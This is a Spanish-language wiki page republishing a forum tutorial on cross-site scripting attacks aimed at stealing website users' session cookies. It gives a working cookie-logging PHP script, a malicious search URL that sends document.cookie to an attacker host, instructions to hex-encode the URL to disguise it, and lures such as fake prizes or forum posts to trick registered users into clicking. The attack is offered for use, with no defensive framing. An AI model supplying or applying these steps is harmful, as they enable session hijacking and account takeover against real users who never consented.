Capitulos de este wiki
  1. 1 Ataques XSS

Ataques XSS - Ataques XSS

1 - Ataques XSS

[editar]
Tutorial creado por neohex. Extraido de: http://foro.elhacker.net/index.php/topic,32042.0.html
30 de Noviembre de 1999
[~]Lo primero es hacer una pequeña introduccion sobre que es una cookie:

Citar

- Una cookie es un almacen de informacion que se guarda en el ordenador del usuario y en cualkier momento la pagina puede pedir la informacion, que contiene la cookie, al ordenador del usuario...

·  Ahora que sabemos que es una cookie lo que vamos ha hacer es ver el nombre de la página donde se encuentra el buscador, en nuestro caso es buscador.php(xDD)

·  Después vamos a ver si el buscador es vulnerable. Para ello podemos poner en el buscador, por ejemplo:

Código:

<script>alert()</script>


[~]Si salta una alarma al pulsar el boton, significa que ese buscador es vulnerable.
[~]Si no salta pues no jodemos y a buscar otro...

·  Suponiendo que sea vulnerable, el siguiente paso es ver el nombre del formulario y del botón.
Para esto, tenemos que ver el codigo fuente de dicha página y buscar algo como:
<input type="text" name="palabra"> que será el formulario.
<input type="submit" name="buscar" value="Buscar"> que será el boton.

·  Ahora ya sabemos que el formulario se llama palabra y que el botón se llama buscar.
[~]Para almacenar las cookies, tenermos dos opciones -> almazenarlas en una base de datos(mysql) o almacenarlas en un archivo de texto(la mas facil).
·  A continuacion vamos a crear una pagina en php, este archivo creará otro (archivo.txt) cuando algun usuario caiga en el ataque y escribira a continuacion los siguientes usuarios.
cookies.php
Código:

<?
$cookie = $_GET['cookie'];
$fff = fopen("archivo.txt","a");
fwrite($fff, "$cookie ");
fclose($fff);
?>


archivo.txt
Este archivo se creara automaticamente y será en el que se almacenen las cookies, osease, que para ver los resultados teneis que entrar en este archivo.

·  Una vez hecho este paso solo tenemos que crear "LA URL MALIGNA"(como yo lo llamo) que será de la siguiente forma:

Código:

http://www.vulnerable.com/buscador.php?palabra=<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>&buscar=;

·  Voy a explicar cada parte de esta "URL MALIGNA".
[~]http://www.vulnerable.com/buscador.php**---Esta parte lo unico que hace es entrar en la pagina del buscador.
[~]
?palabra=
Esta parte es para darle un valor a la variable palabra, es decir, si el formulario se llamara
manolo esto quedaría de la siguiente forma: ?manolo=
Lo mas importante:
[~]
<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>**---Esto es el valor que le damos a la variable palabra (que es el formulario). Este valor lo que hace esque redirecciona a la pagina http://www.atacante.com/cookie.php y le da el valor de la cookie(del usuario de la web) a la variables cookie de la pagina que creamos antes(cookies.php)
Suena un poco lioso pero es muy simple.
[~]&buscar=;
Esto lo que hace es simular que el boton (con el nombre -> buscar) este pulsado, sin esto no realizaria la acción.
Tambien decir que si el botón del buscador se llamara jose, eso tendriamos que reemplazarlo por &jose=;
·  Ahora viene la parte mas importante, que es hacer que un usuario de esa web(que esté registrado) entre en ese enlace("LA URL MALIGNA").
Esto seguramente sea la parte mas complicada, porque cualkier persona con unos conocimientos muy basicos de programacion web sabría lo que hace esa "URL MALIGNA". Con lo cual vamos a proceder a "camuflar" un poco esa URL.
Para esto vamos a sustituir cada caracter por su correspondiente valor en hexagesimal poniendo el signo % delante de cada uno.
Aquí os dejo una buena tabla HEX:---http://www.ascii.cl/es/------Con lo cual iría quedando algo así:
Código:

%70%61%6C%61%62%72%61%3D%3C%73%63%72%69%70%74%3E...

esto equivaldría a:

Código:

palabra=<script>...

y tendrias que continuar cambiando los caracteres a hexagesimal.
Como conseguir que un usuario de esa web entre en esa URL, jejeje, pues ¡¡¡puedes decirle que le toca un premio si entra!!!(xDD) o puedes entrar al foro de esa web(si lo tuviera) y poner la direccion con alguna buena escusa como: "Que le pasa a la web, cuando entro en esta URL me sale una tía en bolas";
Otra opción es ponerlo como una noticia (si tienes un sistemas de noticias) o como se te ocurra.


Solo me queda decir que no solo son vulnerbles a un ataque XSS los buscadores, puede ser cualquier formulario que os encontreis por internet, desde un registro de usuario hasta un foro(lo digo por experiencia).


CONCLUSION: Este ataque se basa en redireccionar a un usuario(sea como sea) hacia una pagina, tuya, en la que guardes su cookie.
Creo que como introduccion no esta mal, aunque por las bullas de ponerlo pronto a lomejor me he quedado sin decir algo, weno si me acuerdo lo pongo...
Saludos by neohex
P.D:Por supuesto si algo esta mal o lo sabeis explicar mejor o esto es una mierda, pues decirlo aqui...
P.D2:No sabía si ponerlo en Exploit o en Dudas hack, si lo considerais necesario moverlo.
[editar]

Sé el primero en opinar


Tutoriales relacionados con 'Ataques XSS'

Autor y licencia de 'Ataques XSS'

Este contenido ha sido recopilado por el equipo de Wikilearning. Todo el contenido recopilado se ha obtenido respetando y comunicando en nuestro site la licencia de cada fuente.
Wikilearning tiene permiso expreso por escrito de los autores para publicar los contenidos que ha extraído de otras webs, incluyendo su uso comercial.